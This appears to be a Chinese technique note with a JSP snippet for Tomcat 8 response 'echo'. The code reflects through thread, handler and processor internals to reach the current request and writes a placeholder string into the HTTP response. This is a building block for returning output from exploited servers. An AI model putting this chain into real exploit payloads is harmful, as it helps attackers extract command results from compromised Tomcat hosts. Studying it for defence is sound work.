Tomcat8 回显
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.coyote.RequestInfo" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.util.Iterator" %>
<%@ page import="org.apache.coyote.Request" %>
<%@ page import="org.apache.tomcat.util.buf.ByteChunk" %>
<%@ page import="java.lang.reflect.Method" %>
<html>
<body>
<%
ThreadGroup threadGroup = (ThreadGroup)Thread.currentThread().getThreadGroup();
Field threadField = threadGroup.getClass().getDeclaredField("threads");
threadField.setAccessible(true);
Thread[] threads = (Thread[])threadField.get(threadGroup);
for(Thread thread:threads){
if (thread != null){
String threadName = thread.getName();
if (threadName.contains("http-nio") && threadName.contains("AsyncTimeout")){
Field target_pp = thread.getClass().getDeclaredField("target");
target_pp.setAccessible(true);
Object target = target_pp.get(thread);
Field this0F = target.getClass().getDeclaredField("this$0");
this0F.setAccessible(true);
Object this0 = this0F.get(target);
Field handlerF = this0.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("handler");
handlerF.setAccessible(true);
Object handler = handlerF.get(this0);
Field globalF = handler.getClass().getDeclaredField("global");
globalF.setAccessible(true);
Object global = globalF.get(handler);
Field processorsF = global.getClass().getDeclaredField("processors");
processorsF.setAccessible(true);
ArrayList<RequestInfo> reqs = (ArrayList<RequestInfo>)processorsF.get(global);
Iterator i = reqs.iterator();
System.out.println(11);
while(i.hasNext()){
RequestInfo req = (RequestInfo) i.next();
System.out.println(req);
Field workerThreadName = req.getClass().getDeclaredField("workerThreadName");
workerThreadName.setAccessible(true);
String workerThreadName_name = (String)workerThreadName.get(req);
if (workerThreadName_name !=null && workerThreadName_name.equals(Thread.currentThread().getName())){
System.out.println(req);
Field req_req= req.getClass().getDeclaredField("req");
req_req.setAccessible(true);
Request request1 = (Request) req_req.get(req);
byte[] buf ="1111122222222".getBytes();
ByteChunk bc = ByteChunk.class.newInstance();
Method setBytes = bc.getClass().getMethod("setBytes",new Class[]{byte[].class,int.class,int.class});
setBytes.invoke(bc,new Object[]{buf,0,buf.length});
request1.getResponse().doWrite(bc);
}
}
}
}
}
%>
</body>
</html>
反射—>反射–>再反射–>
Thread.currentThread().getThreadGroup().threads –>循环threads 获取名字。threads.target—>反射threads.target
–>this$0 –>handler –>global –>workerThreadName –>获取request 对象—>获取Request 对象–>通过getResponse.doWrite 写入到页面中

